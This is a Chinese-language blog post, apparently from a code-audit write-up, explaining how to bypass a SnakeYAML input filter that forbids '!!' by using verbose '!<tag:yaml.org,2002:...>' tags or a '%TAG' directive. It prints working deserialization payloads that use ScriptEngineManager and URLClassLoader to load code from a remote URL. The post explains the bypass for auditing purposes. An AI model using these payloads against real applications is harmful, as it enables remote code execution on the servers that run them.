SnakeYaml 反序列化的一个小 trick

背景

这是我在做某个代码审计项目时遇到的场景,一个 yaml 解析的功能使用了 snakeyaml 来处理 yaml,snakeyaml 一般情况下是可以直接进行反序列化攻击的。但这里它做了一个前提条件 —— “不允许 yaml 中存在 !!”。

打过 yaml 反序列化漏洞的人应该都知道 !! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。

分析

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://127.0.0.1:2333/”]]]]

这条 POC 是网上公开最常见的,所有 POC 都是基于 !! 来反序列化。这也就误导了一些程序员认为 !! 是导致反序列化的原因。

图片

以上图为例,yaml 中带有 !! 无法通过校验。所以需要先去绕过 !! 。

我一开始想到的是类似 fastjson 可以16进制、Unicode在内部进行解码,实际测试并不可行,

图片

虽然可以处理 Unicode,但只能当做 string 使用,所以这个想法只能放弃。

图片

经过一系列的调试我发现,每个 !! 修饰过的类都转成了一个 TAG。

例如 yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:

public static final String PREFIX = “tag:yaml.org,2002:”;
public static final Tag YAML = new Tag(“tag:yaml.org,2002:yaml”);
public static final Tag MERGE = new Tag(“tag:yaml.org,2002:merge”);
//
public static final Tag STR = new Tag(“tag:yaml.org,2002:str”);
public static final Tag SEQ = new Tag(“tag:yaml.org,2002:seq”);
public static final Tag MAP = new Tag(“tag:yaml.org,2002:map”);

所以!!javax.script.ScriptEngineManager的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager

我在 yaml 官网找到了一些与tag:yaml.org,2002相关的文档。

图片

发现它除了 !! 以为还有另外几种 TAG 的表示方式。

%YAML 1.1

!!seq [
!<!foo> “bar”,
!<tag:yaml.org,2002:str> “string”
!<tag:ben-kiki.org,2000:type> “baz”
]
# Explicitly specify default settings:
%TAG ! !
%TAG !! tag:yaml.org,2002:
# Named handles have no default:
%TAG !o! tag:ben-kiki.org,2000:

- !foo “bar”
- !!str “string”
- !o!type “baz”

第一种是用!<TAG>来表示,只需要一个感叹号,尖括号里就是 TAG。

前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:

所以要想反序列化恶意类就需要这样构造

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> >[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> [“http://b1ue.cn/”]]]]

这样就可以绕过不允许存在 !! 的限制。

图片

再来看第二种,需要在 yaml 中用%TAG声明一个 TAG

例如我声明 ! 的tag是 tag:yaml.org,2002:

%TAG ! tag:yaml.org,2002:

后面再调用!str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str

最终我构造的反序列化攻击payload如下

%TAG ! tag:yaml.org,2002:

!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [“http://b1ue.cn/”]]]]

图片

同样也只使用了一个!,绕过了!!的限制。

猜你喜欢

转载自blog.csdn.net/weixin_43510203/article/details/115276795
今日推荐